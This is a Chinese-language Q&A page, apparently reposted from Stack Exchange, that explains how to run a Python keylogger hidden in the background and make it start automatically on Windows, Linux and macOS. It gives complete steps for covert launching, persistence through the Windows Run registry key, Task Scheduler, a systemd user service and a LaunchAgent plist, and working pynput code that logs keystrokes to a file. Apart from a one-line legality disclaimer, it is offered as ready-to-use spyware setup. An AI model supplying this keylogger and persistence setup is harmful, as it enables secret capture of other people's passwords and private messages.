You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让Python键盘记录器在后台运行并随系统重启自动启动

跨平台键盘记录器后台运行与开机自启实现方案

一、后台运行配置

Windows系统

  • 使用pythonw.exe替代python.exe执行脚本,避免弹出命令行窗口:
    pythonw your_keylogger.py
    
  • 若需打包成独立程序,使用pyinstaller并添加无控制台参数:
    pyinstaller --noconsole --onefile your_keylogger.py
    

Linux系统

  • 直接通过nohup命令后台启动:
    nohup python3 your_keylogger.py &
    
  • 后续可结合systemd服务实现更稳定的后台管理(见开机自启部分)。

macOS系统

  • 用nohup实现后台运行:
    nohup python3 your_keylogger.py &
    
  • 或通过py2app打包为无窗口的App程序:
    py2app --argv-emulation your_keylogger.py
    

二、开机自启配置

Windows系统

注册表方式

  1. 打开注册表编辑器(运行regedit),定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  2. 新建字符串值,名称自定义,数据填写pythonw.exe路径+脚本路径,示例:
    C:\Python39\pythonw.exe C:\scripts\your_keylogger.py
    

任务计划程序方式

  1. 打开任务计划程序,创建基本任务
  2. 触发器选择“登录时”,操作选择“启动程序”
  3. 程序或脚本填pythonw.exe路径,添加参数填脚本完整路径

Linux系统(systemd服务)

  1. 在~/.config/systemd/user/目录下创建keylogger.service文件:
    [Unit]
    Description=Keylogger Service
    
    [Service]
    ExecStart=/usr/bin/python3 /home/yourname/scripts/your_keylogger.py
    Restart=always
    User=yourname
    
    [Install]
    WantedBy=default.target
    
  2. 执行以下命令启用并启动服务:
    systemctl --user daemon-reload
    systemctl --user enable keylogger.service
    systemctl --user start keylogger.service
    

macOS系统

LaunchAgent方式

  1. 在~/Library/LaunchAgents/目录下创建com.yourname.keylogger.plist文件:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.yourname.keylogger</string>
        <key>ProgramArguments</key>
        <array>
            <string>/usr/bin/python3</string>
            <string>/Users/yourname/scripts/your_keylogger.py</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
    </dict>
    </plist>
    
  2. 加载并启用服务:
    launchctl load ~/Library/LaunchAgents/com.yourname.keylogger.plist
    launchctl start com.yourname.keylogger
    

三、代码优化建议

原代码可简化特殊键处理逻辑,并优化文件IO操作:

from pynput import keyboard

# 全局打开日志文件,减少IO开销
log_file = open("keys.txt", "a", buffering=1)  # 行缓冲确保实时写入

def on_press(key):
    try:
        log_file.write(f" {key.char} ")
    except AttributeError:
        # 简化特殊键处理
        key_name = str(key).replace("Key.", "")
        log_file.write(f" [{key_name}] ")

def on_release(key):
    # 添加ESC键退出逻辑,方便调试
    if key == keyboard.Key.esc:
        log_file.close()
        return False

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

重要提醒:键盘记录器涉及隐私权限,仅可在合法合规的场景下使用,未经授权记录他人键盘操作属于违法行为。

内容的提问来源于stack exchange,提问作者Bl4d3

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.20 07:37:42